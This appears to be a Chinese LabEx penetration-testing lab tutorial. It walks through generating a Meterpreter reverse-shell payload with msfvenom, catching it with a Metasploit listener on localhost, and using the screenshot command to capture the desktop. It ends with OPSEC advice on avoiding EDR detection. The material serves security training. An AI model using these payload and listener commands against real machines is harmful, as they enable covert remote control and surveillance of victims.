使用 Meterpreter 的 screenshot 命令捕获目标桌面

Kali LinuxBeginner
立即练习

引言

Meterpreter 是一个先进的、动态可扩展的 payload,它使用内存中的 DLL 注入 stagers,并在运行时通过网络进行扩展。它是 Metasploit Framework 的核心组件,用于在受损系统上进行后渗透活动。它众多强大功能中的一项是能够与目标桌面进行交互。

在本实验中,你将学习如何在 Meterpreter 会话中使用 screenshot 命令。此命令允许攻击者捕获目标当前桌面的图像,从而提供关于用户活动、已打开应用程序以及屏幕上可能显示的敏感信息的宝贵情报。

在图形化目标上建立 Meterpreter 会话

在本步骤中,你将模拟在一台机器上完成一个完整的攻击周期。你将使用 msfvenom 创建一个 payload,使用 msfconsole 设置一个监听器,然后执行 payload 以建立与你自己的机器的 Meterpreter 会话。这是一种安全且常见的练习渗透测试技术的方式。

首先,打开一个终端,使用 msfvenom 生成一个 Linux Meterpreter payload。此命令会创建一个可执行文件,该文件在运行时会连接回我们的监听器。

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o ~/project/payload.elf
  • -p: 指定要使用的 payload。
  • LHOST=127.0.0.1: “监听主机”的 IP 地址。我们使用 127.0.0.1,因为我们的监听器将在同一台机器上。
  • LPORT=4444: 要连接回的端口。
  • -f elf: 输出格式,对于 Linux 来说是可执行文件。
  • -o: 输出文件名。

接下来,使生成的 payload 可执行:

chmod +x ~/project/payload.elf

现在,你需要设置监听器来捕获来自 payload 的连接。以安静模式启动 Metasploit Framework 控制台:

msfconsole -q

msfconsole 中,配置 multi/handler 来监听传入的连接。逐个输入以下命令:

use multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444

现在,将监听器作为后台作业运行,这样你仍然可以使用控制台:

exploit -j

你应该会看到一条消息,表明监听器已启动。现在,你需要执行 payload。通过点击终端窗口中的 + 图标,打开一个新的、第二个终端标签页。在新标签页中,运行你创建的 payload:

~/project/payload.elf

切换回你的第一个终端标签页,其中运行着 msfconsole。你应该会看到一条消息,表明已打开一个 Meterpreter 会话。为了验证并与之交互,列出活动会话:

sessions -l

你将看到你的新会话及其 ID,很可能是 1。使用其 ID 与之交互:

sessions -i 1

你的提示符应该会变为 meterpreter >,这确认你现在已控制该会话。

使用 screenshot 命令捕获屏幕

在本步骤中,你将使用一个简单但强大的 Meterpreter 命令来捕获目标的桌面。既然你已经拥有一个活动的 Meterpreter 会话(由 meterpreter > 提示符指示),你就可以在受损系统上执行命令了。

screenshot 命令非常直接。它会捕获目标机器上交互式用户桌面会话的整个屏幕。

在你的 meterpreter > 提示符下,只需输入命令并按 Enter 键:

screenshot

Meterpreter 会花费一点时间来捕获屏幕并将图像数据传输回你的攻击者机器(你的 LabEx VM)。成功后,它会打印一条消息,指示屏幕截图已保存到何处。文件名将是一个随机字符组成的字符串,扩展名为 .jpeg

输出将类似于:

Screenshot saved to: /home/labex/project/qKxRzYnL.jpeg

你现在已成功捕获了目标的桌面。图像文件已保存在你的本地机器上,供你查看。

在你的 Kali 机器上定位已保存的图像文件

在本步骤中,你将定位刚刚保存到你本地机器的屏幕截图文件。screenshot 命令会自动将捕获的图像保存到你启动 msfconsole 的目录中,在本例中是 ~/project

首先,退出 Meterpreter 会话以返回到 msfconsole 提示符。你可以通过输入 exit 来完成此操作:

exit

现在,退出 msfconsole 以返回到你的常规 zsh 终端提示符:

exit

你现在回到了标准终端。为了确认文件在那里,使用 ls -l 命令详细列出你的项目目录的内容。

ls -l ~/project

你应该会在列表中看到 .jpeg 文件,以及你之前创建的 payload.elf 文件。输出看起来会像这样,尽管 JPEG 文件名会有所不同:

-rwxr-xr-x 1 labex labex 101368 Nov 21 14:30 payload.elf
-rw-r--r-- 1 labex labex  54321 Nov 21 14:35 qKxRzYnL.jpeg

这证实了屏幕截图已成功传输并保存到你的机器上。

查看捕获的屏幕截图

在本步骤中,你将查看你捕获的图像。由于 LabEx 环境包含图形桌面,你可以直接从命令行使用图像查看器来查看屏幕截图的内容。

我们将使用 ristretto,一个适用于 Xfce 桌面环境的简单图像查看器。要打开屏幕截图,你将运行 ristretto 命令,后跟图像文件的路径。

你必须将 FILENAME.jpeg 替换为你上一步中找到的屏幕截图的实际随机文件名。例如,如果你的文件名为 qKxRzYnL.jpeg,你将使用该名称。

在你的终端中执行以下命令,确保使用你的实际文件名:

ristretto ~/project/FILENAME.jpeg

一个图像查看器窗口将会打开,显示屏幕截图。因为你在自己的机器上运行了 payload,所以屏幕截图将是你自己的 LabEx 桌面!这是确认命令按预期工作的绝佳方式。完成后,你可以关闭图像查看器窗口。

讨论此操作的运行安全 (OPSEC) 顾虑

在本步骤中,我们将讨论在实际渗透测试中使用 screenshot 命令的运行安全 (OPSEC) 影响。虽然这是一个非常有用的命令,但并非没有风险。

1. 制造噪音和触发警报:
screenshot 命令通过与目标操作系统图形 API(如 Windows 上的 GDI 或 Linux 上的 X11)交互来工作。像端点检测与响应 (EDR) 或杀毒软件这样的高级安全产品会监控这些 API 调用。一个通常不与桌面交互的进程突然截屏是一项高度可疑的活动,可能会触发警报并暴露你的存在给安全分析师。

2. 留下证据:
该命令会在攻击者的机器上创建一个图像文件。该文件是入侵和已采取特定行动的直接证据。如果你的攻击机器被查获或泄露,这些数据可用于了解你活动的范围。

3. 目标端痕迹:
尽管最终的图像文件保存在你的机器上,但截屏行为可能会在目标系统上留下临时痕迹。这可能包括系统内存中的痕迹,或由检测到可疑行为的安全软件生成的日志。即使找不到图像本身,有经验的取证调查员也可能找到曾进行截屏的证据。

在实际的渗透过程中,你必须谨慎使用 screenshot 等命令。当你有高度信心认为目标系统缺乏高级监控时,或者当潜在的情报收益大于被检测到的重大风险时,使用该命令是最佳选择。

总结

在本实验中,你获得了对一项基本后渗透技术的实践经验。你成功学会了如何建立 Meterpreter 会话并使用 screenshot 命令捕获目标系统的桌面。

你完成了整个过程:

  • 使用 msfvenom 生成 payload。
  • 使用 msfconsole 设置监听器。
  • 执行 payload 以获得反向 shell。
  • 与 Meterpreter 会话进行交互。
  • 捕获屏幕并查看生成的图像。
  • 考虑其中涉及的运行安全 (OPSEC) 风险。

这项技能是任何渗透测试人员工具箱中的宝贵组成部分,它提供了一种直接的方式来从受损主机收集视觉情报。恭喜你完成本次实验!